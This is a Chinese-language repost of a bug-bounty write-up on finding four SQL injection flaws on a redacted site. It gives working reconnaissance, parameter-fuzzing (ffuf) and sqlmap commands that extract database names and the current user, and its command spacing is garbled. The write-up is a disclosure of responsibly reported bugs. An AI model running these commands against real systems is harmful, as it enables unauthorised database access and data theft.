当前位置: 首页 > 科技观察

如何在几分钟内找到多个SQL注入漏洞

时间:2023-03-15 08:29:37 科技观察

今天我将分享我如何在几分钟内找到多个针对某个漏洞赏金的SQL注入漏洞。下面以目标域名redacted.org为例。在枚举阶段,我先用waybackurls工具查看目标网站的url,然后看到很多PHP文件,可能会发现SQL注入漏洞。我使用命令过滤一些结果并将它们输出到文件:waybackurlshttps://redacted。组织/|尿液|grep".php">php-files.txt查看输出文件,发现图片中的内容:文件名好像有点意思,然后我们要找一些可用的参数,需要做一个参数nameDictionary然后暴力破解那些页面,哇!获取参数,我们根据之前输出的内容将文件名和参数分开,然后去重:catphp-files.txt|grep-我得到|sed's/.*.get//'|sort-u然后删除php后缀,要得到带文件名的关键字列表,只需要在最后一个命令后加上cut-f1-d即可:有些结果有两个或多个单词的组合,但我没有知道这个词是一个参数,所以我尝试拆分它。搜索了一下,发现可以使用命令:sed's/[AZ]+/\n&/g'我觉得参数一般都是小写的,所以需要把所有大写字符都转成小写,而前面的内容保留:接下来我们有两个可用的参数字典,然后使用FFUF工具进行测试,首先尝试使用全小写字符的字典:ffuf-wlowercase-parameters.txt-u"https://redacted.org/searchProgressCommitment.php?FUZZ=5"但没有结果!说实话,我很郁闷,不过突然想到一个解决办法,把请求方式改成POST怎么样?命令如下:ffuf-wlowercase-parameters.txt-XPOST-d"FUZZ=5"-u"https://redacted.org/searchProgressCommitment.php"结果是commitment&id参数。接下来我就可以测试这些参数了,将请求的数据包内容复制到一个文件中,丢给sqlmap进行测试。利用sqlmap的命令如下:sqlmap-rreq3.txt-pcommitment--force-ssl--level5--risk3--dbms="MYSQL"--hostname--current-user--current-db---dbs--tamper=between--no-cast漏洞测试成功,确实存在SQL注入漏洞;接下来我用同样的方法测试了其他的url,结果发现了三个同样存在sql注入漏洞的地方。第二个SQLI:带有id参数的ws_delComment.php。第三个SQLI:带有目标参数的getTargets.php。第四:带列表参数的mailing_lists.php。一共发现了4个SQL注入,太棒了!我向安全团队报告并批准了所有SQL注入漏洞,他们正在积极修复这些漏洞,感谢阅读。